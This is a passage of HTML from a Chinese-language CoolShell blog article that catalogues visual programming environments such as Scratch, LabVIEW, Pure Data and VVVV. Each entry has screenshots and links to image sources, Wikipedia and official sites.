class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_etoysqueak_01.png\" width=\"733\" height=\"496\" /><img alt=\"\" /></p>\n<h4 id=\"field\">Field</h4>\n<p><a href=\"http://openendedgroup.com/field/OverviewBanners2.html\">图片来源</a> 和 <a href=\"http://openendedgroup.com/field/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_field_01.png\" width=\"860\" height=\"442\" /><img alt=\"\" /></p>\n<h4 id=\"fl_studio\">FL Studio</h4>\n<p><a href=\"http://freaksolid.wordpress.com/2013/05/20/fl-studio-11-patcher-dj-performance-presets/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Fl_studio\">Wikipedia</a> 和 <a href=\"http://www.image-line.com/flstudio/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flstudiopatcher_01.jpg\" width=\"1082\" height=\"610\" /><img alt=\"\" /></p>\n<h4 id=\"flow_hub_and_noflo\">Flow Hub and NoFlo</h4>\n<p>Flow-Based Programming.</p>\n<p><a href=\"http://flowhub.io/\">图片来源 1</a>, <a href=\"http://cdn.thegrid.io.s3.amazonaws.com/noflo/kickstarter/images/UI-03.jpg\">图片来源 2</a> <a href=\"http://noflojs.org/\">官方网站 1</a> 和 <a href=\"http://flowhub.io/\">官方网站 2</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flohub_01.png\" width=\"819\" height=\"451\" /><img alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_noflo_01.jpg\" width=\"734\" height=\"562\" /><img alt=\"\" /></p>\n<h4 id=\"flowstone\">FlowStone</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:FlowStone_Large_Screenshot.png\">图片来源</a> 和 <a href=\"http://www.dsprobotics.com/flowstone.html\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_flowstone_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"godot_engine\">GoDot Engine</h4>\n<p><a href=\"http://www.godotengine.org/wp/wp-content/uploads/2014/01/editor2.jpg\">图片来源</a> 和 <a href=\"http://www.godotengine.org/wp/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_godot_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"google_web_designer\">Google Web Designer</h4>\n<p><a>图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Google_Web_Designer\">Wikipedia</a> 和 <a href=\"https://www.google.com/webdesigner/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_webdesigner_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"hopscotch\">Hopscotch</h4>\n<p><a href=\"https://www.gethopscotch.com/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Hopscotch_%28programming_language%29\">Wikipedia</a> 和 <a href=\"https://www.gethopscotch.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_hopscotch_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"hypercard\">HyperCard</h4>\n<p><a href=\"http://www.smackerel.net/black_white_02.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/HyperCard\">Wikipedia</a> 和 <a href=\"http://hypercard.org/\">官方网站???</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_hypercard_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"ifttt\">IFTTT</h4>\n<p><a href=\"https://ifttt.com/recipes\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Ifttt\">Wikipedia</a> 和 <a href=\"https://ifttt.com/wtf\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_ifttt_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"illumination_software_creator\">Illumination Software Creator</h4>\n<p><a href=\"http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Illumination_Software_Creator\">Wikipedia</a> 和 <a href=\"http://lunduke.com/2010/06/16/illumination-software-creator-20-beta-2/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_illumination_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"intentional_technology\">Intentional Technology</h4>\n<p><a href=\"http://www.intentsoft.com/intentional-technology/\">图片来源</a> 和 <a href=\"http://www.intentsoft.com/intentional-technology/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_IntentionalTech_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"jeskola_buzz\">Jeskola Buzz</h4>\n<p><a href=\"http://blog.livedoor.jp/acid808/archives/cat_693944.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Jeskola_Buzz\">Wikipedia</a> 和 <a href=\"http://www.jeskola.net/buzz/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_jeskolabuzz_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"kimono\">Kimono</h4>\n<p><a href=\"http://www.kimonolabs.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_kimono_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"kodu_boku\">Kodu (Boku)</h4>\n<p><a href=\"http://www.interactiveclassroom.net/?p=508\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Kodu\">Wikipedia</a> 和 <a href=\"http://research.microsoft.com/en-us/projects/kodu/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_kodu_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"labview\">LabView</h4>\n<p><a href=\"http://www.ni.com/newsletter/51735/en/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/LabVIEW\">Wikipedia</a> 和 <a href=\"http://www.ni.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_labview_02.png\" /><img alt=\"\" /></p>\n<h4 id=\"ladder_logic\">Ladder Logic</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Ladder_logic\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Ladder_logic\">Wikipedia</a> 和 <a>官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_ladderlogic_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"lamdu\">Lamdu</h4>\n<p><a href=\"http://peaker.github.io/lamdu/\">图片来源</a> 和 <a href=\"http://peaker.github.io/lamdu/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lamdu_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"lava\">Lava</h4>\n<p><a href=\"http://lavape.sourceforge.net/Derivation.htm\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lava_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://lavape.sourceforge.net/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lava_01.png\" width=\"660\" height=\"639\" /><img alt=\"\" /></p>\n<h4 id=\"learnable_programming\">Learnable Programming</h4>\n<p>More of a post on different ways to learn programming.</p>\n<p><a href=\"http://worrydream.com/#!/LearnableProgramming\">图片来源</a> 和 <a href=\"http://worrydream.com/#!/LearnableProgramming\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_learnable_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"light_table\">Light Table</h4>\n<p>Chris Granger’s development environment. <a href=\"https://plus.google.com/+JJoeDouglas/posts\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Light_table_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.lighttable.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lighttable_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"lily\">Lily</h4>\n<p>Really cool and hard to describe. You need to visit their demo web page and watch their videos. <a href=\"http://blog.lilyapp.org/lily/demo/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lily_%28software%29\">Wikipedia</a> 和 <a href=\"http://blog.lilyapp.org/lily/demo/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_lily_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"limnor_studio\">Limnor Studio</h4>\n<p><a href=\"http://www.limnor.com/studio_whatIsIt.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Limnor\">Wikipedia</a> 和 <a href=\"http://www.limnor.com/studio_whatIsIt.html\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_limnorstudio_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"little_big_planet\">Little Big Planet</h4>\n<p>Someone built an An <a href=\"http://www.youtube.com/watch?v=jWanvKdurU0\">8-bit Mechanical Adder in LittleBigPlanet</a></p>\n<p><a href=\"http://www.youtube.com/watch?v=jWanvKdurU0\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/LittleBigPlanet\">Wikipedia</a> 和 <a href=\"http://littlebigplanet.playstation.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_littlebig_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"minecraft\">Minecraft</h4>\n<p>Considering someone has created a <a href=\"http://www.youtube.com/watch?v=frcr9XYeTW4\">fully programmable computer</a> using Minecraft.</p>\n<p><a href=\"http://www.youtube.com/watch?v=frcr9XYeTW4\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Minecraft\">Wikipedia</a> 和 <a href=\"https://minecraft.net/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_minecraft_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"minibloq\">Minibloq</h4>\n<p>This has a really cool looking interface. <a href=\"http://en.wikipedia.org/wiki/File:ToneWithVariables.png\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Minibloq\">Wikipedia</a> 和 <a href=\"http://blog.minibloq.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_minibloq_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"morphic\">Morphic</h4>\n<p><a href=\"http://www.cc.gatech.edu/fac/mark.guzdial/squeak/startingmorphic.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Morphic_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.dmoz.org/Computers/Software/Operating_Systems/Graphic_Subsystems/Morphic\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_morphic_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"mozilla_appmaker\">Mozilla Appmaker</h4>\n<p>This was discussed quite a bit on <a href=\"https://news.ycombinator.com/item?id=6501731\">Ycombinator</a>. <a href=\"http://2.bp.blogspot.com/-1xD81b5fPso/Uly-amqf9vI/AAAAAAAAC8I/n7ehLipb1CE/s1600/appmaker.png\">图片来源</a> 和 <a href=\"https://appmaker.mozillalabs.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_appmaker_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"mst_workshop\">MST Workshop</h4>\n<p><a href=\"http://home.comcast.net/~tpandolfi/site/?/photos/&amp;PHPSESSID=63621f2035fe55537d794ab0ac795934\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/MST_Workshop\">Wikipedia</a> 和 <a href=\"http://home.comcast.net/~tpandolfi/site/?/home/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_mst_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"neattools_visual_programming_environment\">NeatTools Visual Programming Environment</h4>\n<p><a href=\"http://www.sensyr.com/NeatTools.html\">图片来源</a> 和 <a href=\"http://www.neattools.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_NeatTools_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"nodebox\">NodeBox</h4>\n<p><a href=\"http://nodebox.net/node/\">图片来源</a> 和 <a href=\"http://nodebox.net/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nodebox_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"nuke\">Nuke</h4>\n<p><a href=\"http://www.thefoundry.co.uk/products/nuke-product-family/nuke/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Nuke_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.thefoundry.co.uk/products/nuke-product-family/nuke/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nuke_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"nxtg\">NXT-G</h4>\n<p>Legos!!! <a href=\"http://www.brickshelf.com/cgi-bin/gallery.cgi?i=2051945\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Lego_Mindstorms_NXT#NXT-G\">Wikipedia</a> 和 <a href=\"http://www.legoengineering.com/program/nxt-g/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_nxt-g_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"open_modelica\">Open Modelica</h4>\n<p><a href=\"http://www.marekgayer.com/en/projects/incfd/\">图片来源</a> 和 <a href=\"https://www.openmodelica.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openmodelica_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"open_music\">Open Music</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Om_patch.gif\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/OpenMusic\">Wikipedia</a> 和 <a href=\"http://repmus.ircam.fr/openmusic/home\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openmusic_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"openwire\">OpenWire</h4>\n<p><a href=\"http://www.mitov.com/products/openwire#screenshots\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/OpenWire_%28library%29\">Wikipedia</a> 和 <a href=\"http://www.mitov.com/products/openwire#overview\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_openwire_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"origami\">Origami</h4>\n<p><a href=\"http://a.36krcnd.com/photo/2014/d2878df00bea4bfb782037f1683423e3.jpg\">图片来源</a> 和 <a href=\"http://facebook.github.io/origami/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_origami_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"piet\">Piet</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Piet_%28programming_language%29#Piet\">Wikipedia</a> 和 <a href=\"http://www.retas.de/thomas/computer/programs/useless/piet/Piet/index.html\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_piet_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"programming_without_coding_technology\">Programming Without Coding Technology</h4>\n<p><a href=\"http://sourceforge.net/projects/doublesvsoop/?source=recommended\">图片来源</a> 和 <a href=\"http://doublesvsoop.sourceforge.net/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_pwct_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"prograph\">Prograph</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Prograph_database_operation.PNG\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Prograph\">Wikipedia</a> 和 <a href=\"http://c2.com/cgi/wiki?PrographLanguage\">官方网站??</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_prograph_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"pure_data\">Pure Data</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Pd_example_3.svg\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Pure_Data\">Wikipedia</a> 和 <a href=\"http://puredata.info/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_puredata_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"quartz_composer\">Quartz Composer</h4>\n<p><a href=\"http://mastersofmedia.hum.uva.nl/2011/10/24/finally-it-comes-together/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Quartz_Composer\">Wikipedia</a> 和 <a href=\"https://developer.apple.com/technologies/mac/graphics-and-animation.html\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_quartz_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"reaktor\">Reaktor</h4>\n<p><a href=\"http://media.soundonsound.com/sos/oct99/images/reaktor5.gif\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Reaktor\">Wikipedia</a> 和 <a href=\"http://www.native-instruments.com/en/products/komplete/synths-samplers/reaktor-5/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_reaktor_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"scheme_bricks\">Scheme Bricks</h4>\n<p><a href=\"http://www.pawfal.org/dave/blog/2010/05/scheme-bricks-for-graphics/\">图片来源</a> 和 <a href=\"http://www.pawfal.org/dave/index.cgi?Projects/Scheme%20Bricks\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_schemebricks_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"scratch\">Scratch</h4>\n<p><a href=\"http://scratch.mit.edu/projects/11126006/#editor\">图片来源 1</a>, <a href=\"http://scratch.mit.edu/projects/11126006/#editor\">图片来源 2</a>, <a href=\"http://en.wikipedia.org/wiki/Scratch_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://scratch.mit.edu/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_01.png\" /><img alt=\"\" /></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_02.png\" /><img alt=\"\" /></p>\n<h4 id=\"self\">Self</h4>\n<p><a href=\"http://handbook.selflanguage.org/current/langref.html#objects\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Self_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://selflanguage.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_self_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"sextante\">Sextante</h4>\n<p><a href=\"http://www.gvsig.com/files/images/screenshots/gvSIG_Sextante_02.png\">图片来源</a> 和 <a href=\"http://sextantegis.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sextante_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"simulink\">Simulink</h4>\n<p><a href=\"http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Simulink\">Wikipedia</a> 和 <a href=\"http://www.mathworks.com/products/simulink/?s_cid=wiki_simulink_8\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_simlink_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"sikuli\">Sikuli</h4>\n<p><a href=\"http://hellotestworld.com/2012/04/27/sikuli-for-all-those-hard-to-reach-places/\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Sikuli\">Wikipedia</a> 和 <a href=\"http://www.sikuli.org\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sikuli_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"sql_server_integration_services\">SQL Server Integration Services</h4>\n<p><a href=\"http://technet.microsoft.com/en-us/library/cc917721.aspx\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/SQL_Server_Integration_Services\">Wikipedia</a> 和 <a href=\"http://www.microsoft.com/en-us/sqlserver/solutions-technologies/enterprise-information-management/integration-services.aspx\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sqlintegration_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"story_code\">Story Code</h4>\n<p><a href=\"http://softconstructors.com/en/applications/stroycode/screenshots.html\">图片来源</a> 和 <a href=\"http://softconstructors.com/en/applications/stroycode/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_stroycode_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"textit\">TextIt</h4>\n<p><a href=\"https://textit.in/\">图片来源</a> 和 <a href=\"https://textit.in/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_textit_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"touch_develop\">Touch Develop</h4>\n<p>From Microsoft research.</p>\n<p><a href=\"http://handheld.softpedia.com/progScreenshots/TouchDevelop-Screenshot-125731.html\">图片来源</a> 和 <a href=\"https://www.touchdevelop.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_touchdevelop_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"tydlig\">Tydlig</h4>\n<p><a href=\"http://tydligapp.com/images/screenshots/1-physics.png\">图片来源</a> 和 <a href=\"http://tydligapp.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_tydlig_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"udk\">UDK</h4>\n<p><a href=\"http://www.youtube.com/watch?v=0OR63rDN5p8\">图片来源</a> 和 <a href=\"http://www.unrealengine.com/en/udk/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_udk_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"visual_jforex\">Visual JForex</h4>\n<p><a href=\"http://i1.ytimg.com/vi/iz5numHchGU/maxresdefault.jpg\">图片来源</a> 和 <a href=\"http://www.dukascopy.com/swiss/english/forex/Visual/features/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_jforex_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"vuo\">VUO</h4>\n<p><a href=\"http://www.vjunion.se/2013/03/a-great-start-to-the-new-year/\">图片来源</a> 和 <a href=\"http://vuo.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vuo_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"vvvv\">VVVV</h4>\n<p><a href=\"http://vvvv.org/contribution/vvvv.packs.image\">图片来源 1</a>, <a href=\"http://kristiansmusicproductionblog.com/wp-content/uploads/vvvv.png\">图片来源 2</a>, <a href=\"http://en.wikipedia.org/wiki/Vvvv\">Wikipedia</a> 和 <a href=\"http://www.vvvv.org/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_01.png\" /><img alt=\"\" /></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_02.png\" /><img alt=\"\" /></p>\n<h4 id=\"windows_workflow_foundation\">Windows Workflow Foundation</h4>\n<p><a href=\"http://fryerblog.com/post/2179029238/a-windows-workflow-foundation-example\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Windows_Workflow_Foundation\">Wikipedia</a> 和 <a href=\"http://msdn.microsoft.com/en-us/vstudio/jj684582.aspx\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_winworkflow_01.png\" /><img alt=\"\" /></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" 